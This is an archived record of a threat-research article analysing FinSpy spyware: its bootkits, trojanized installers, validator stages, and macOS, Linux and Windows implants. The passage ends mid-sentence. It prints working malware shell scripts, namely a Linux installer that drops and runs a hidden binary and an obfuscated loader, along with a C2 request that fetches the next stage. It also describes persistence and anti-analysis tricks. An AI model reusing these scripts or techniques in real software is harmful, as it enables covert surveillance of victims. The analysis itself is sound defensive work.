{
	"id": "df15a2df-0a62-4c2c-b379-03fedf09c92b",
	"created_at": "2026-04-06T00:18:05.171547Z",
	"updated_at": "2026-04-10T03:20:20.822669Z",
	"deleted_at": null,
	"sha1_hash": "fd0d2e76d70b7e95391ab5a99553339f9d50552c",
	"title": "FinSpy: unseen findings",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 400069,
	"plain_text": "FinSpy: unseen findings\r\nBy GReAT\r\nPublished: 2021-09-28 · Archived: 2026-04-05 21:54:23 UTC\r\nFinSpy, also known as FinFisher or Wingbird, is an infamous surveillance toolset. Kaspersky has been tracking\r\ndeployments of this spyware since 2011. Historically, its Windows implant was distributed through a single-stage\r\ninstaller. This version was detected and researched several times up to 2018. Since that year, we observed a\r\ndecreasing detection rate of FinSpy for Windows. While the nature of this anomaly remained unknown, we began\r\ndetecting some suspicious installers of legitimate applications, backdoored with a relatively small obfuscated\r\ndownloader. We were unable to cluster those packages until the middle of 2019 when we found a host that served\r\nthese installers among FinSpy Mobile implants for Android. Over the course of our investigation, we found out\r\nthat the backdoored installers are nothing more than first stage implants that are used to download and deploy\r\nfurther payloads before the actual FinSpy Trojan.\r\nApart from the Trojanized installers, we also observed infections involving usage of a UEFI or MBR bootkit.\r\nWhile the MBR infection has been known since at least 2014, details on the UEFI bootkit are publicly revealed in\r\nthis article for the first time.\r\nWe decided to share some of our unseen findings about the actual state of FinSpy implants. We will cover not only\r\nthe version for Windows, but also the Linux and macOS versions, since they have a lot of internal structure and\r\ncode similarities.\r\nThe full details of this research, as well as future updates on FinSpy, are available to customers of the APT\r\nreporting service through our Threat Intelligence Portal.\r\nContact: intelreports@kaspersky.com\r\nUEFI infection\r\nDuring our research, we found a UEFI bootkit that was loading FinSpy. All machines infected with the UEFI\r\nbootkit had the Windows Boot Manager (bootmgfw.efi) replaced with a malicious one. When the UEFI transfers\r\nexecution to the malicious loader, it first locates the original Windows Boot Manager. It is stored inside the\r\nefi\\microsoft\\boot\\en-us\\ directory, with the name consisting of hexadecimal characters. This directory contains\r\ntwo more files: the Winlogon Injector and the Trojan Loader. Both of them are encrypted with RC4. The\r\ndecryption key is the EFI system partition GUID, which differs from one machine to another.\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 1 of 26\n\nSample contents of the \\efi\\microsoft\\boot\\en-us\\ directory\r\nOnce the original bootloader is located, it is loaded into memory, patched and launched. The patched launcher:\r\nPatches the function of the OS loader that transfers execution to the kernel\r\nThe patched function hooks the kernel’s PsCreateSystemThread function, which, when called for the first\r\ntime, creates an additional thread that decrypts the next loader stage and launches it.\r\nThe next stage:\r\nLocates the Trojan loader file on the EFI partition and decrypts it\r\nWaits until a user logs on and injects the Trojan loader into exe.\r\nThe Trojan loader:\r\nExtracts the Trojan from resources and drops it under the name dll\r\nDecrypts the Trojan with a XOR-based cipher and unpacks it with aPLib\r\nReflectively loads and launches the Trojan.\r\nMBR infection\r\nOlder machines that do not support UEFI can be infected through the MBR. When the victim machine starts up,\r\nthe infected MBR copies the initial loader code from the last megabyte of the hard drive to the highest available\r\nmemory located before the EBDA1. This code hooks the 13h and 15h BIOS interrupts and then launches the\r\noriginal MBR. The 15h interrupt makes sure that the Windows loader does not overwrite the copied code. When\r\nthis interrupt is called to get the size of the area before the EBDA, the hook will reduce the amount of available\r\nmemory. As for the 13h interrupt hook (which manages reading information from disk), it patches the OS loader\r\nwhen it is read from disk. Just as in the case with the EFI infection, the hooked functions place their own hooks on\r\nfurther OS loading stages. The last hook in the chain creates a thread in the kernel that injects the next stage into\r\nwinlogon.exe.\r\nIn case the infection is installed on a 32-bit machine, the process of injecting code into winlogon.exe is more\r\ncomplex than the one observed in the UEFI infection. It is as follows:\r\nA thread with trampoline shellcode is created inside exe.\r\nThis shellcode duplicates the exe process handle and transfers it to explorer.exe.\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 2 of 26\n\nThe shellcode injects another trampoline shellcode in Explorer.\r\nThe second shellcode makes exe inject the Trojan loader back into winlogon.exe.\r\nThis roundabout way of injecting code is intended to trick security solutions.\r\nThe injected Trojan loader is the same as the UEFI one.\r\nUser Mode Infection\r\nOverview\r\nThis infection is by far the most complex. In short, the attack scenario is as follows:\r\nThe victim downloads a Trojanized application and executes it.\r\nDuring its normal course of operation the application connects to a C2 server, downloads and then launches\r\na non-persistent component called the Pre-Validator. The Pre-Validator ensures that the victim machine is\r\nnot used for malware analysis.\r\nThe Pre-Validator downloads Security Shellcodes from the C2 server and executes them. In total, it deploys\r\nmore than 30 shellcodes. Each shellcode collects specific system information (e.g. the current process\r\nname) and uploads it back to the server.\r\nIn case a check fails, the C2 server terminates the infection process. Otherwise, it continues sending\r\nshellcodes.\r\nIf all security checks pass, the server provides a component that we call the Post-Validator. It is a persistent\r\nimplant likely used to ensure that the victim is the intended one. The Post-Validator collects information\r\nthat allows it to identify the victim machine (running processes, recently opened documents, screenshots)\r\nand sends it to a C2 server specified in its configuration.\r\nDepending on the information collected, the C2 server may command the Post-Validator to deploy the full-fledged Trojan platform or remove the infection.\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 3 of 26\n\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 4 of 26\n\nOverview of the user mode infection\r\nTrojanized applications\r\nThroughout our research, we identified numerous legitimate applications backdoored with FinSpy. Examples\r\ninclude software installers (e.g. TeamViewer, VLC Media Player, WinRAR) as well as portable applications.\r\nAll observed backdoored application samples have their original digital signature. It is invalid, which indicates\r\nthat the application has been patched. While the entry point function of the application looks clear, inspection of\r\nthe executable’s PE file sections does reveal anomalies: the backdoored application has its last section (.rsrc on\r\nthe screenshot below) expanded by 51 KB.\r\nSections of the original (left) and backdoored (right) application\r\nApart from that, a part of code from the .text section (roughly 8 KB) is overwritten with heavily obfuscated code,\r\nwith the original application code placed in the expanded last section.\r\nWhen the backdoored application launches, it runs as normal, i.e. the inserted obfuscated code does not impact the\r\napplication workflow. At some point the application executes a jump instruction that redirects execution to the\r\nobfuscated trampoline in the .text section. This instruction appears to be placed randomly in the code. For\r\nexample, a call to the CreateWindowExW function has been replaced:\r\nThe original (left) and patched (right) code of the backdoored application\r\nThis trampoline is protected with an obfuscator that we dubbed FinSpy Mutator. It launches a code that:\r\nDecrypts and launches a slightly modified Metasploit Reverse HTTPS stager. The decryption procedure:\r\nIs obfuscated with FinSpy Mutator\r\nInvolves applying 10 operations (ADD, SUB, XOR, ROL, ROR) to every byte of the stager\r\nIs different in every backdoored installer.\r\nRestores the code in the .text section that was overwritten with the malicious code (recall that the original\r\ncode is saved in the resource section)\r\nResolves relocations in the restored code\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 5 of 26\n\nRestores the instruction that has been overwritten with a jump\r\nJumps to the restored instruction, thus resuming the execution of the original application.\r\nThe Metasploit stager connects to a configured C2 server using HTTPS for communication. In the case of\r\n5EDF9810355DE986EAD251B297856F38, the stager sends the following GET request to the C2 server:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\nGET https://45[.]86[.]163[.]138/blog/ASVn6Wg5VbnZxiG2PSVbaSa-G8PmI2ew2zFBQGEZbDUEmx9mE88dw0Zxmu-AeuheOJYJ1F6kTh6uA0UJDkfISp--\r\nk6bGNOuULoTSlr-AXwvWapnFLOe4QEpqY_pe3uoGC88y3JqiQifHlRRqcE9whGX_-X14BIv35Q\r\nHTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 45[.]86[.]136[.]138\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\nThe C2 server replies with a component that we called the Pre-Validator in response to the GET request. The\r\nMetasploit stager launches it.\r\nThe Pre-Validator\r\nThe Pre-Validator is a shellcode obfuscated with FinSpy Mutator. On startup, it:\r\nHooks the NtTerminateProcess and ExitProcess functions to make sure the Pre-Validator continues\r\nworking if the backdoored application is closed. The hooked functions close all the application’s windows\r\nbut do not terminate its process.\r\nMakes an initial POST request to the C2 server. Example of the request URL:\r\nhttps://45[.]86[.]163[.]138/blog/index.asp?\r\nattachmentid=a46dee635db8017962741f99f1849471\u0026d=5d7e89e6b4874d0df95141bd923556f8 (all\r\nparts of this URL vary between samples). All communications between the server are encrypted with RC4.\r\nThe reply to the initial POST request contains a shellcode that we called a Security Shellcode. On receiving it, the\r\nPre-Validator:\r\nDecrypts and executes the received Security Shellcode\r\nSends the shellcode execution results to the C2 server via a POST request.\r\nReceives the next Security Shellcode from the C2 server and repeats the steps above.\r\nThe nature of these shellcodes indicates that they are used to fingerprint the system and verify that it is not used\r\nfor malware analysis. It is important to highlight that the shellcodes only collect the data, all the checks are\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 6 of 26\n\nperformed server-side. In case a shellcode uploads suspicious execution results (e.g. the Pre-Validator is running\r\non a virtual machine), the server provides a shellcode that terminates the Pre-Validator.\r\nThe received shellcodes are protected with either FinSpy Mutator, an obfuscator resembling OLLVM or both these\r\nprotectors. In total, we observed 33 Security Shellcodes provided by the server (listed in execution order):\r\nShellcode\r\n#\r\nDescription\r\n1\r\nAttempts to detect a hypervisor with the CPUID (EAX = 1) instruction. If detected, returns the\r\nhypervisor name (EAX = 0x40000000), otherwise returns zero bytes.\r\n2\r\nChecks whether the current process needs to be impersonated (for example, if an unprivileged\r\nuser runs the backdoored application as administrator).\r\n3 Returns the user’s profile folder (e.g. C:\\Users\\username)\r\n4 Returns the short form of the user’s profile folder (e.g. C:\\Users\\abcdef~1)\r\n5 Returns the type of the drive containing the backdoored application (e.g. removable drive)\r\n6\r\nReturns process names of the current process tree (i.e. the current process, the parent process,\r\nthe grandparent process, etc.)\r\n7 Returns the path to the ‘Program Files’ folder.\r\n8\r\nFor the system drive, returns:\r\nOverall available space\r\nSpace available to current user (may be less than overall available space due to quotas)\r\nDisk capacity\r\n9 Returns the path to the user’s temporary folder.\r\n10 Returns the list of network adapter types, IP and MAC addresses assigned to them.\r\n11 Returns the list of running processes\r\n12\r\nReturns ProcessDebugPort value returned by NtQueryInformationProcess for current\r\nprocess.\r\n13\r\nReturns ProcessDebugObjectHandle value returned by NtQueryInformationProcess for\r\ncurrent process.\r\n14\r\nReturns TotalNumberOfObjects and TotalNumberOfHandles values of objects created by\r\nNtCreateDebugObject.\r\n15 Returns the current user’s SID.\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 7 of 26\n\n16 Returns the list of images (EXE/DLL files) loaded into the current process.\r\n17 Returns OSVERSIONINFOEXW and SYSTEM_INFO structures.\r\n18 Returns information about the machine’s BIOS.\r\n19 Returns the list of object names in the \\GLOBAL?? directory.\r\n20 Returns information about the operating system.\r\n21\r\nReturns the current user’s name, computer name, path to the current executable, its name and\r\ncommand line path.\r\n22 Returns the list of loaded drivers.\r\n23 Returns the list of PDB paths of loaded drivers\r\n24 Returns the first 16 bytes of the first exported Zw* function of ntdll.dll (ZwAcceptConnectPort)\r\n25 Verifies the signature of the parent process.\r\n26 Returns information about connected Plug and Play devices.\r\n27\r\nReturns information about the computer system (from SELECT * FROM\r\nWin32_ComputerSystem WMI query)\r\n28 Returns the list of connected PCI devices.\r\n29 Returns names of shortcuts in the Desktop directory.\r\n30\r\nReturns the list of top-level and child window class names not owned by the current or parent\r\nprocess.\r\n31 Returns the list of top-level and child window titles not owned by the current or parent process.\r\n32 Returns the current domain SID.\r\n33\r\nCleans  API functions potentially hooked by security solutions: Nt* functions in ntdll.dll and all\r\nexported functions in kernel32.dll, kernelbase.dll and advapi32.dll.\r\nOnce all security checks are passed, the C2 server sends a shellcode that downloads and runs the Post-Validator\r\nInstaller.\r\nThe Post-Validator Installer\r\nThis module is an obfuscated shellcode. It:\r\nCreates a subdirectory (name differs between samples) in the C:\\ProgramData directory\r\nDrops two files in the newly created subdirectory:\r\nThe Post-Validator Loader DLL\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 8 of 26\n\nA shellcode with the Post-Validator itself.\r\nThe file names are hardcoded in the dropper but are unique for each sample and appear to be randomly\r\ngenerated.\r\nCreates a scheduled task that runs at system startup and launches the Post-Validator Loader via regsvr32\r\n(task action: %windir%\\syswow64\\regsvr32.exe /s “\u003cpath to the Loader DLL\u003e”)\r\nAfter the Post-Validator is installed, the Pre-Validator shuts down.\r\nThe Post-Validator Loader\r\nThe Post-Validator Loader is a huge (3-9 MB) obfuscated DLL. The Task Scheduler launches it at system startup\r\nthrough regsvr32.exe. Its main function is several megabytes in size, but despite that, its purpose is simple: read\r\nand execute a shellcode that is stored in the same directory as the Post-Validator Loader.\r\nSample scheduled task properties\r\nThe launched shellcode decrypts the Post-Validator (it is stored in the same file with the shellcode) with RC4\r\n(key: domain SID) and reflectively loads it.\r\nThe Post-Validator\r\nThe Post-Validator is a DLL obfuscated with VMProtect. This module uses the same communication protocol that\r\nis used in the main Trojan component:\r\nThe TLV (type-length-value) format to exchange data with C2 servers\r\nTLV type constants that are found in the Trojan\r\nThe Trojan’s Cryptography Library to encrypt/decrypt exchanged data\r\nOn startup, the Post-Validator verifies that it is not launched inside a sandbox environment. It then starts\r\ncommunication with C2 servers specified in its configuration, sending heartbeat messages with 15-minute\r\nintervals. Each heartbeat includes brief information about the victim machine.\r\nThe heartbeat reply may contain different commands.\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 9 of 26\n\nTLV ID\r\nCommand purpose\r\n(inferred from the main\r\nTrojan)\r\nImplementation of command in the\r\nPost-Validator\r\n0x8030A0 Retrieves the implant configuration.\r\n0x8070A0\r\nRetrieve the list of files with\r\ndata prepared for exfiltration.\r\nSends back three strings in a TLV: 243a,\r\n201a and 201b (‘virtual’ data file\r\nnames)\r\n0x8072A0\r\nUpload a prepared file with a\r\nspecified name to the C2\r\nserver.\r\nIf the prepared file name is:\r\n201a, obtains the list of\r\nprocesses and sends it to the C2\r\nserver.\r\n201b, gets the list of recent files\r\nand sends it to the C2 server.\r\n243a, takes a screenshot and\r\nuploads it to the C2 server.\r\n0x8054A0, 0x805BA0,\r\n0x8056A0, 0x805DA0,\r\n0x8057A0, 0x805EA0\r\nCommands are used to\r\ndownload and install plugins.\r\nCommands are used to download and\r\nrun the Trojan Installer.\r\n0x801530, 0x801630,\r\n0x801730, 0x8018A0\r\nUninstall the Trojan. Uninstall the Pre-Validator.\r\n0x7502A0 Disconnect from the C2 server.\r\nWhen the Post-Validator receives the Trojan Installer (which is a DLL), it:\r\nReflectively loads and launches the Installer\r\nDepending on the configuration, either uninstalls itself (by deleting its directory and the scheduled task) or\r\ngoes to sleep until system reboot.\r\nBased on the data collected by the Post-Validator, it is most likely that:\r\nThe Post-Validator is deployed to ensure that the infected victim is the intended one.\r\nThe C2 server operator manually analyzes data received from the victim and commands to either remove\r\nthe Post-Validator or infect the machine with the Trojan.\r\nThe Post-Validator is another obstacle for researchers. Even if they manage to pass all the checks of the Pre-Validator, the C2 server operator may refuse to infect a suspicious machine.\r\nThe Trojan Installer\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 10 of 26\n\nThe Installer creates the working directory (path: %localappdata%\\Microsoft\\\u003ctwo concatenated English\r\nwords\u003e) and sets it as being accessed, modified and created a year earlier. Afterwards, it drops the following files\r\nto it:\r\nFile name Description\r\n\u003c4 random hexadecimal\r\ncharacters\u003e.cab\r\nThe setup configuration file, which is encrypted with RC4 (key: the name\r\nof the working directory).\r\nNames differ between\r\nsamples\r\nThe encrypted VFS file.\r\nThe Initial Loader.\r\nmsvcr90.dll The Trojan bundle, encrypted with XOR and compressed with aPLib.\r\nmsvcr120d.dll\r\n64-bit Trojan loader. The executable is prepended with 0x4000 random\r\nbytes and encrypted with RC4 (key: machine GUID)\r\nmsvcr140d.dll\r\n32-bit Trojan loader, also prepended with random bytes and encrypted with\r\nRC4.\r\nThe timestamps of dropped files are set to one year earlier than the current date. Once the working directory is\r\nprepared, the Installer launches the Trojan.\r\nThe Initial Loader\r\nThe Initial Loader is a DLL that is launched on every startup by rundll32.exe (the Trojan adds it to the\r\nHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run key, the value name is unique for each sample).\r\nThe size of the Initial Loader exceeds 5 MB. It is obfuscated with a protector resembling the open source OLLVM\r\nobfuscator. Despite its size, the only functionality of the Initial Loader is to decrypt and launch the 32-bit Trojan\r\nLoader.\r\nThe Trojan Loader\r\nThe 32-bit Trojan Loader, which is launched regardless of the victim machine architecture, checks if it is running\r\non a 64-bit system. If so, it reads the 64-bit loader (msvcr120d.dll) from disk and runs it as a shellcode.\r\nThe Trojan Loader (either the 32-bit or the 64-bit one):\r\nReads the Trojan bundle file (dll), decrypts it with XOR and unpacks with aPLib.\r\nInjects the Trojan DLL into exe by either calling CreateRemoteThread or using the\r\nKernelCallbackTable technique.\r\nMacOS Infection\r\nThe macOS version of the malware is not as complicated as the Windows one. It is written in Objective-C. An\r\nobfuscator similar to OLLVM is used to protect FinSpy for Mac. Additionally, Objective-C selectors that may\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 11 of 26\n\nreveal information about method names contain junk.\r\nThe macOS version of FinSpy has the following components:\r\nThe Installer. Unlike the Windows version that features numerous installers, the macOS version has only\r\none installer type.\r\nThe Initial Loader.\r\nThe Trojan Loader.\r\nThe Trojan that consists of the Orchestrator, the Cryptography Library and plugins.\r\nThe Installer\r\nWhen the victim executes the malicious app, an executable located at the \u003cmalicious application\r\nname\u003e.app/Contents/MacOS/installer path is launched. On startup, it checks the environment for debuggers and\r\nvirtual machines. It drops the following files to the machine:\r\nPath Description\r\n/Library/Frameworks/Storage.framework A directory with the Trojan inside\r\n/private/etc/logind\r\nThe Trojan loader that runs as a launch agent. This file is\r\nexecuted on startup.\r\n/Library/LaunchAgents/logind.plist\r\nThe configuration of the logind agent. The Trojan needs it in\r\norder to maintain persistence.\r\nAll copied files are timestomped (modification date is the timestamp of Finder.app). The Installer sets their\r\nowner to root:wheel. It additionally sets the SUID and SGID bits of the /private/etc/logind file.\r\nBy copying the logind.plist file to the /Library/LaunchAgents directory the Installer configures the Trojan to\r\nload at startup.\r\nThe Installer then launches the logind executable (Trojan Loader) with the launchctl utility.\r\nThe Initial Loader\r\nThe Initial Loader (/private/etc/logind) launches every time when the operating system boots up. Once launched,\r\nThe Initial Loader launches the Trojan Loader\r\n(/Library/Frameworks/Storage.framework/Contents/MacOS/logind).\r\nThe Trojan Loader\r\nThe Trojan Loader has a constructor function that is invoked before main. It sets hooks on functions that load\r\napplication bundles. These hooks allow the Trojan to load plugins while decrypting them on the fly.\r\nOnce the hooks are placed, the Trojan Loader launches the Orchestrator\r\n(/Library/Frameworks/Storage.framework/Contents/Resources/dataPkg). The Orchestrator (as well as\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 12 of 26\n\nplugins) are packed with aPLib and encrypted with AES. When the Orchestrator is unpacked, it is reflectively\r\nloaded.\r\nLinux Infection\r\nThe Linux version of FinSpy is protected with an obfuscator similar to OLLVM. It has the same components as in\r\nthe macOS version (Initial Loader, Trojan Loader, Orchestrator and plugins).\r\nThe Installer\r\nInfection vectors used to deliver FinSpy for Linux are unknown. The leaked FinFisher support questions database\r\nsuggests physical access could be used to infect machines:\r\nA question related to Linux infection which was submitted to FinFisher support in 2013\r\nThe initial stage of the Installer is the following shell script:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n#!/bin/sh\r\nELF_MAGIC=7f\r\narch=`od -j4 -N1 -An -t u1 \u003c /bin/sh | tr -d ' '`\r\ncase $arch in\r\n1)\r\n    ARCHIVE=`grep --text --line-number '^__x86xx__$' \"$0\" | cut -d ':' -f 1`  ;;\r\n2)\r\n    ARCHIVE=`grep --text --line-number '^__x64xx__$' \"$0\" | cut -d ':' -f 1`  ;;\r\n*)\r\n  exit 0\r\n  ;;\r\nesac\r\n    ARCHIVE=$((ARCHIVE+1))\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 13 of 26\n\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\ntail -n +$ARCHIVE $0 \u003e /tmp/udev2 \u0026\u0026 chmod +x /tmp/udev2\r\nif [ -n \"$SUDO_USER\" ]; then\r\n   su -c /tmp/udev2 $SUDO_USER\r\nelse\r\n   /tmp/udev2\r\nfi\r\nif [ \"$?\" -eq 0 ];then\r\n   rm -rf \"$0\"\r\nfi\r\nexit 0\r\nThis script determines the victim machine architecture. Depending on it, the script extracts either the 32-bit or the\r\n64-bit second stage installer to the /tmp/udev2 file and launches it. Both versions of the installer executable are\r\nappended to the Bash script. The 32-bit version is delimited from the script with the __x86xx__ string, and the\r\n__x64xx__ string delimits the 64-bit version from the 32-bit one.\r\nThe launched executable first checks if it is running in a virtual machine with:\r\nThe CPUID assembly instruction\r\nThe lspci command\r\nThe dmesg command\r\nIn case a virtual machine is detected and the installed Trojan cannot be launched in a VM, the installer exits. The\r\nworking directory is located at the ~/\u003cdirectory #1\u003e/\u003cdirectory #2\u003e path.  Directory #1 and #2 can take the\r\nfollowing names that are selected randomly:\r\nDirectory #1 names Directory #2 names\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 14 of 26\n\n.cache\r\n.dbus\r\n.fontconfig\r\n.gconf\r\n.gnome\r\n.gnome2\r\n.kde\r\n.local\r\n.qt\r\n.ssh\r\n.config\r\n.bin\r\n.sbin\r\n.etc\r\n.cfg\r\n.apps\r\nThe installer then drops the Trojan to the working directory. The name of the Trojan Loader file is one of the\r\nfollowing:\r\ncpuset\r\nkthreadd\r\nksnapd\r\nudevd\r\ndbus-daemon\r\natd\r\ncrond\r\nhald\r\nThe plugin files have the \u003cmodule ID\u003e.so name, and the names of their configurations are \u003cmodule ID\u003eC.dat.\r\nAfter dropping the files, the Installer sets up persistence. On KDE, it copies a Bash script to either\r\n~/.kde4/Autostart/udev2.sh or ~/.kde/Autostart/udev2.sh. On other desktop environments , it appends the same\r\nscript to the ~/.profile file.\r\nThe Initial Loader\r\nThe Initial Loader is the following shell script:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\nif [ ! -n \"$CS_FONT\" ]; then\r\n  # Load fonts by id\r\n  CS_FONT_RID=\"\u003chexadecimal-encoded working directory path\u003e\"\r\n  CS_FONT_ID=\"\u003chexadecimal-encoded Trojan Loader filename\u003e\"\r\n  CS_FONT_COL=\"6364\"\r\n  CS_FONT_COLF=`echo ${CS_FONT_COL} |sed 's/../\u0026 /g' |sed 's/ / p /g' |awk '{print \"16i \"$0}'|dc\r\n2\u003e/dev/null|awk '{printf(\"%c\",$0)}'`\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 15 of 26\n\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n  CS_FONT_SID=`echo ${CS_FONT_RID} |sed 's/../\u0026 /g' |sed 's/ / p /g' |awk '{print \"16i \"$0}'|dc\r\n2\u003e/dev/null|awk '{printf(\"%c\",$0)}'`\r\n  CS_FONT_LOAD=`echo ${CS_FONT_ID} |sed 's/../\u0026 /g' |sed 's/ / p /g' |awk '{print \"16i \"$0}'|dc\r\n2\u003e/dev/null|awk '{printf(\"%c\",$0)}'`\r\n  if [ ! -n \"$CS_FONT_COLF\" ]; then\r\n     CS_FONT_COLF=$(for i in `echo ${CS_FONT_COL} |sed 's/../\u0026 /g'`; do echo \"000000 $i\" | xxd -\r\nr; done)\r\n     CS_FONT_SID=$(for i in `echo ${CS_FONT_RID} |sed 's/../\u0026 /g'`;  do echo \"000000 $i\" | xxd -r;\r\ndone)\r\n     CS_FONT_LOAD=$(for i in `echo ${CS_FONT_ID} |sed 's/../\u0026 /g'`;  do echo \"000000 $i\" | xxd -r;\r\ndone)\r\n  fi\r\n  ${CS_FONT_COLF} ${CS_FONT_SID} \u0026\u0026 ${CS_FONT_LOAD} \u003e /dev/null 2\u003e\u00261 \u0026\u0026\r\n${CS_FONT_COLF} - \u003e /dev/null 2\u003e\u00261\r\n    unset CS_FONT_ID\r\n    unset CS_FONT_COLF\r\n    unset CS_FONT_SID\r\n    unset CS_FONT_LOAD\r\nfi\r\nThis script decodes the directory path and the Trojan Loader from hexadecimal and executes the “cd \u003cworking\r\ndirectory path\u003e \u0026\u0026 ./\u003cloader filename\u003e \u003e /dev/null 2\u003e\u00261 \u0026\u0026 cd – \u003e /dev/null 2\u003e\u00261″ command, thus\r\nlaunching the Trojan Loader.\r\nThe Trojan Loader\r\nWhen launched, the Trojan Loader:\r\nChecks if it is being debugged with the ptrace function and exits if it is.\r\nReads the Orchestrator file from disk and unpacks it with aPLib.\r\nReflectively loads and launches the Orchestrator.\r\nThe Trojan\r\nOverview of the Windows Trojan components\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 16 of 26\n\nThe Windows version of the Trojan consists of the following components:\r\nThe Hider, the first launched component. It starts the Orchestrator and conceals memory areas that contain\r\nthe Trojan components’ code and data.\r\nThe Orchestrator, a DLL which is responsible for managing installed plugins and preparing data to be sent\r\nto the C2 server\r\nPlugins, DLL modules that perform malicious activities on the victim machine\r\nThe virtual file system (VFS) which allows the Orchestrator and other plugins to seamlessly interact with\r\nplugins and their configurations\r\nThe ProcessWorm module which intercepts system activity. Similar to a network worm which infects\r\nmachines in the local network, the ProcessWorm is injected into all running processes. Once a process is\r\ninfected, the ProcessWorm spreads to its children.\r\nThe Communicator module which sends data to the C2 server and receives replies\r\nThe Hider\r\nThe Hider is the first launched component of the Backdoor. It is a valid PE file protected with the FinSpy VM. On\r\nstartup, the Hider loads a clean copy of ntdll.dll from disk, which is used when calling API functions from this\r\nlibrary.  After that, it decrypts the Orchestrator, which is stored in the Hider’s resource section. It is encrypted with\r\na 256-byte RC4 key. which is unscrambled at runtime using addition, subtraction and XOR operations. The key\r\nmay vary from one sample to another.\r\nA snippet of the RC4 key generation function\r\nAfter decrypting and unpacking the Orchestrator, the Hider reflectively loads it.\r\nThe hiding functionality\r\nBefore transferring execution to the Orchestrator’s entry point, the Hider activates its concealing functionality. It\r\nworks as follows:\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 17 of 26\n\nThe Hider encrypts the Orchestrator’s pages with a cipher based on XOR and ROL operations and assigns\r\nthe PAGE_NOACCESS attribute to them\r\nWhen the Orchestrator accesses hidden pages, the operating system generates an ACCESS_VIOLATION\r\nexception\r\nThe Hider detects the generated exception through the hook of the KiUserExceptionDispatcher function,\r\nwhich handles dispatching of all exceptions\r\nThe hooked function decrypts the hidden page and assigns it the PAGE_EXECUTE_READWRITE\r\nattribute, thus handling the exception\r\nThe Hider conceals the unhidden pages again within 30 seconds.\r\nThe Hider also protects plugins loaded by the Orchestrator.\r\nThe Orchestrator\r\nThe Orchestrator is the core module of the Trojan that controls all plugins and manages C2 server\r\ncommunications.\r\nWhen the Orchestrator starts up, it:\r\nHooks its own IAT (import address table) to alter the behavior of WinAPI file manipulation functions. The\r\nOrchestrator needs these hooks to interact with the VFS.\r\nSets up persistence by creating an entry in the\r\nHKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run registry key.\r\nReads the Orchestrator configuration and loads installed plugins.\r\nAn interesting fact about the Orchestrator is that it erases its PE structures and code of initialization procedures.\r\nThis trick is designed to make it more difficult to detect this component in memory and conduct analysis of its\r\ndumps.\r\nOnce initialized, the Orchestrator launches its following components, which we will detail below:\r\nThe application watcher that looks for specific processes and notifies the C2 server when they are started or\r\nstopped\r\nThe ProcessWorm injector that injects the ProcessWorm into processes that are not infected with this\r\ncomponent\r\nThe recording manager thread that controls data to be exfiltrated to the C2 server\r\nThe C2 server communicator thread.\r\nThe application watcher\r\nThe application watcher regularly examines all the processes on the system, looking for applications specified in\r\nthe Orchestrator configuration. When it detects a starting first (or a stopping last) instance of a process from the\r\nlist in the configuration, an appropriate event will be reported to the C2 server during heartbeat time. It is notable\r\nthat the application watcher acquires handles for all running processes on the system, which results in either\r\nwinlogon.exe or explorer.exe obtaining numerous process handles.\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 18 of 26\n\nProcess handles acquired by explorer.exe on a clean system (left) and on an infected system with the\r\nOrchestrator residing inside the explorer.exe process (right)\r\nThe ProcessWorm injector\r\nThe ProcessWorm injector thread ensures that the ProcessWorm is running in every process which can be\r\naccessed by the Orchestrator. Just like the application watcher, the injector regularly obtains the list of running\r\nprocesses. For every process, it verifies whether the ProcessWorm is running inside it and injects the\r\nProcessWorm if needed.\r\nThe recording manager\r\nOver the course of their execution, plugins may save recording files in the working directory (e.g. keylogs,\r\nscreenshots or printed files). The recording manager is tasked with two duties:\r\nPeriodically checking whether there are recording files available to be sent to the C2 server\r\nPreparing recording files to be uploaded when their download is requested by the C2 server.\r\nEvery recording file stored in the working directory has the following name format:\r\n\u003cplugin prefix\u003e\u003crecording type prefix\u003e\u003cfive-digit random number\u003e.\u003cextension\u003e\r\nThe plugin prefix, the extension and the recording type prefix depend on the ID of the plugin that created the\r\nrecording. The Orchestrator has arrays which converts IDs to prefixes and extensions.\r\nPossible plugin prefixes: auth, avi, cert, crt, com, mem, sxs, msvc, dmem, mtx, net, nls, odbc, ole, pnp, ssl, win, vm,\r\nvsc, ntos, user, run, cvs, cvg, con, ssy\r\nRecording type prefixes: inf, sys, doc, mem, vmx, net, run, dat, dll.\r\nFilename extensions used: doc, vmx, net, xls, zip.\r\nhttps://securelist.com/finspy-unseen-findings/104322/\r\nPage 19 of 26\n\nThe C2 server communication thread\r\nThis thread is responsible for maintaining communication with the 